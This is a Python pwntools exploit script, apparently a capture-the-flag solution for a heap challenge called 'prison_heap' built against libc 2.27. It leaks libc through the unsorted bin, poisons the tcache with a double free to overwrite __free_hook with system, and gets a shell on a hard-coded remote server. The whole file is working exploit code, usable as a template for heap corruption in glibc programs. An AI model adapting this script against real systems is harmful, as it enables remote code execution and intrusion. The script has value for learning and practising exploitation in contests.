prison_heap.py

import os
from pwn import *

PATH = "./prison_heap"
ENV = {"LD_PRELOAD":"./libc-2.27.so"}
REMOTE = True

OFFSET_LEAK = 0x3EBCA0
OFFSET_SYSTEM = 0x000000000004f440
OFFSET_FREEHOOK = 0x00000000003ed8e8

def write(what, size=None):
	if size is None:
		size = len(what)
	p.sendlineafter("4. Exit\n", "1")
	p.sendlineafter("Choose the size of prison heap", str(size))
	p.sendlineafter("to enter the prison", what)

def free(index):
	p.sendlineafter("4. Exit\n", "2")
	p.sendlineafter("for free", str(index))

def read(index):
	p.sendlineafter("4. Exit\n", "3")
	p.sendlineafter("for read\n", str(index))
	data = p.recvuntil("Choose Option", drop=True)
	return data

context.binary = PATH
if REMOTE:
	p = remote("161.35.30.233", 1337)
else:
	p = process(PATH, env=ENV)


write("hola", 2000) # 0, 0x260
write("hola", 2000) # 1, 0xa40, avoid consolidation
free(0) 
# unsorted bin: HEAD -> 0x555555761260 --> HEAD, HEAD being in libc

leak = read(0)[:-1]
leak = u64(leak.ljust(8, b"\x00"))

LIBC = leak - OFFSET_LEAK
SYSTEM = LIBC + OFFSET_SYSTEM
FREE_HOOK = LIBC + OFFSET_FREEHOOK
log.info("LIBC: %s", hex(LIBC))
log.info("SYSTEM: %s", hex(SYSTEM))
log.info("FREE_HOOK: %s", hex(FREE_HOOK))


write("AAAA", 0x20) # 2, 0x260
free(2) 
# tcache bin: HEAD --> 0x555555761260 --> 0

free(2) 
# tcache bin: HEAD --> 0x555555761260 --> 0x555555761260 --> 0

write(pack(FREE_HOOK), 0x20) # 3, 0x260
# tcache bin: HEAD --> 0x555555761260 --> FREE_HOOK --> 0

write("/bin/bash\x00", 0x20) # 4, 0x260
# tcache bin: HEAD --> FREE_HOOK --> 0

write(pack(SYSTEM), 0x20) # 5, chunk at FREE_HOOK

free(4) # system("/bin/bash")

p.interactive()